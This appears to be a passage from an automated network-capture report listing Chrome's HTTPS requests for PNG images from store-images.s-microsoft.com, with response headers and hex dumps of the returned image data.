96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 
54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 
Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 192.168.2.3 49721 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:55 UTC 210 OUT GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-
fd3d7f02c6a3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:55 UTC 211 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 13220
Content-Type: image/png
Last-Modified: Fri, 03 Jun 2022 23:39:52 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUI3MEJEODU"
MS-CV: 5ChDa+Bo80itmz7R.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:55 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:55 UTC 212 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 
69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 6
9 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 
20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 
78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 
64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 
Data Ascii: PNGIHDR,,y}utEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="
W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.
9ccc4de93, 2022/03/14-14:07:2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.2.3 49722 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:53:55 UTC 211 OUT GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-
0d51ac792471?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:55 UTC 225 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16935
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE"
MS-CV: 0jLeqAm/ckGHvdAs.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:55 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:55 UTC 225 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a 
f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 
19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 
80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 
3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 
8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 
Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e|O-S+&:
<yA,aB$($rP6;V

2022-06-08 07:53:55 UTC 241 IN Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 
b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 
f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 
bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 
27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 
07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 
e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 
Data Ascii: VTjT7r{<R5oU>5 *&p\>#LT#)JF#Q:TU}fV1*!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e|7:WUfg!

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

19 192.168.2.3 49723 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:55 UTC 225 OUT GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-
541bbb081d14?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:55 UTC 242 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2629
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E"
MS-CV: uTeCNqL8s0mgIiPD.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:55 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:55 UTC 242 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6
c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 
88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 
55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 
1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 
Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!*(QA
qCTP8D!*(QAq
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.3 49707 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:52 UTC 57 OUT GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-
46ac3b2419e7?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:52 UTC 58 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3667
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE"
MS-CV: RzU3JcDdukKYyaz4.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:52 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:52 UTC 58 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 
e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 
d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 
15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 
27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 
65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 
Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@|QAPQ!'A|D!"_Deuwvg~Z{k|p_{WP#B'PpB'PpB'PpB'PpB'PM
eRUdRF78JD

Session ID Source IP Source Port Destination IP
Destination
Port

Process

20 192.168.2.3 49724 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:56 UTC 245 OUT GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-
8e079298b84b?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:56 UTC 245 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 57945
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc"
MS-CV: ejMSje+zLkSN72MX.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:56 UTC 246 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 
20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 
c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee 
aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c 
d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb
91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d 
c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 
Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$|4&c</+L@.pQf|tic:G,-7

2022-06-08 07:53:56 UTC 261 IN Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 
20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 
2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 
b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 
02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 
fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 
02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 
Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"*uf2SI%CH:j8.SU*x:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Ws
g80qa'*iRHg}6y
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2022-06-08 07:53:56 UTC 270 IN Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b 
ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 
0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 
e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 
f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 
bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 
33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed 
Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGl*Ukg63dIg![1}/n<Fd,cE~}*KX)/'#5gR6=SI]#x3OC3xH

2022-06-08 07:53:56 UTC 286 IN Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 
44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 
5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 
1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 
f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b 
cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 
99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 
Data Ascii: \[_B&X,K,{&JzXD\cUdG|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ

2022-06-08 07:53:56 UTC 294 IN Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 
04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 
9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 
9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 
9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 
cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 
9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e 
Data Ascii: 7e^']u=J X*\SRTpdU+srK'*UK)r~avM?=+_gvM^3c3Q00?*\O~O7v"e&I{*Qfj5o+}\V4T2K("3Y1eGNeUU.2qc
eT+Uq<T(HdK3<

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

21 192.168.2.3 49725 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:56 UTC 302 OUT GET /image/apps.39016.9007199266243744.36dde9d0-f21a-47d2-976e-f1ea3f5b031f.bbea1229-a466-4a8c-b428-
57cb58abf084?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:56 UTC 303 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9623
Content-Type: image/png
Last-Modified: Thu, 08 Jul 2021 05:18:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk0MUNGRTNDQkI1OUE"
MS-CV: 89pDXTII+UStojnP.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:56 UTC 303 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 0c a0 49 44 41 54 78 9c ed 9c 7d 8c 5c 55 15 c0 cf bd f7 
7d cc cc ee 74 76 bb 2c c5 16 10 24 28 48 95 26 f2 59 a8 18 23 1f 22 b4 04 8a 95 10 aa 41 a2 11 62 49 44 48 ad 84 06 4c 
e4 43 45 4b 48 30 1a 14 51 54 40 53 d4 aa 01 4d ff 00 a9 81 42 6a 05 5a 11 2b 15 74 a5 db 6e 67 77 67 df 7c bc f7 ee bd 
9e 7b df 6c 31 11 09 dc 9d dd d9 be 3d bf e4 f5 ed cc ce bc 3b 77 e7 d7 73 ce bd ef be e7 01 41 38 e0 75 fb 03 10 07 27 
24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 
10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 
Data Ascii: PNGIHDR0pHYseIDATx}\U}tv,$(H&Y#"AbIDHLCEKH0QT@SMBjZ+tngwg|{l1=;wsA8u'$C8AN8$C8
AN8$C8AN8$C8AN8

Session ID Source IP Source Port Destination IP
Destination
Port

Process

22 192.168.2.3 49726 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:53:56 UTC 312 OUT GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-
431c9fcc4d54?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:56 UTC 313 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64317
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU"
MS-CV: hJL5u9fB70qoso/s.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:56 UTC 313 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 
01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d 
c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 
63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba 
f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be 
Data Ascii: PNGIHDR,,y}usRGBDeXIfMM*i,,`@IDATxmuv~M[`F *`DFcL)cQ"C)Miqq1Zzs1^

2022-06-08 07:53:56 UTC 329 IN Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 
57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 
05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 
29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e 
b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 
13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 
c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 
Data Ascii: V>|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z
\kXD1n %o

2022-06-08 07:53:56 UTC 345 IN Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 
66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c 
e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 
